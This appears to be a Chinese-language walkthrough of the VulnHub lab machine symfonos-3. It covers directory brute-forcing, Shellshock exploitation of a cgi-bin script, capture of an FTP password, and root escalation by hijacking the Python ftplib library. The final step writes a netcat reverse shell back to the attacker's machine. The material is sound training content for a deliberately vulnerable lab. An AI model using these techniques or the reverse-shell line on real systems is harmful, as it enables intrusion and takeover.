symfonos系列打靶-3
环境
靶机 https://www.vulnhub.com/entry/symfonos-3,332/
信息收集
首先确定目标ip
1 | nmap -sP 192.168.31.0/24 |
详细信息收集,这次倒是没有smb服务了
开启了21,22,80端口,先看看首页吧,除了一张图没什么东西,爆破看看
1 | dirsearch -u http://192.168.31.109/ |
emmm..没扫出东西来,换个扫描器换个字典
1 | gobuster dir -r -u http://192.168.31.109/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
gobuster速度很快,但是扫描结果看着没dirsearch看着舒服
扫出一个gate目录,发现还是没东西,继续向下爆破二级目录
1 | gobuster dir -r -u http://192.168.31.109/gate -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 |
还是没东西,继续向下爆破三级目录,没东西了
换个字典,继续爆破
1 | gobuster dir -r -u http://192.168.31.109/gate/cerberus -w /usr/share/wordlists/rockyou.txt -t 50 --no-error |
似乎有点东西了,继续向下
又发现几个目录,毫无用处…
看了wp,真是日了狗了,还得是你啊dirb
换gobuster继续跑
1 | gobuster dir -r -u http://192.168.31.109/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --no-error |
终于等到你,这是一个uptime命令的回显
加上路径/cgi-bin,应该是shellshock漏洞
1 | Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。 |
漏洞利用
msf找payload来打
提权
拿到会话,suid有个ping,是有机会提权的,但是要用到gcc,目标没有gcc,上提权脚本linpeas.sh
本地起一个http服务
1 | python3 -m http.server 80 |
靶机去下载
1 | cd /tmp |
没看到可用点,传个pspy上去看看进程,还是一样的传法
uid=0就是root,这个python脚本没有权限查看
但是我们可以抓包看看,他在做什么
1 | cd /tmp |
然后把数据包传回来分析,还是一样的用py起一个http服务
1 | python -m SimpleHTTPServer # py2 |
锁定21端口找啊找,翻到一个密码 hades PTpZTfU4vxgzvRBE
直接ssh方便一点
1 | ssh hades@192.168.31.109 |
常规提权操作无果,直奔ftpclient.py
可以看到引入了一个库 ftplib,尝试修改这个库,达到提权的效果,因为这个脚本是以root权限运行的
1 | find / -name ftplib.* 2>/dev/null #把错误信息抛出 |
继续跟进,可以看到root和gods组是可以修改的
写入反弹shell的命令
1 | os.system("nc -nv 192.168.31.118 5555 -e /bin/bash") |
kali监听等待回弹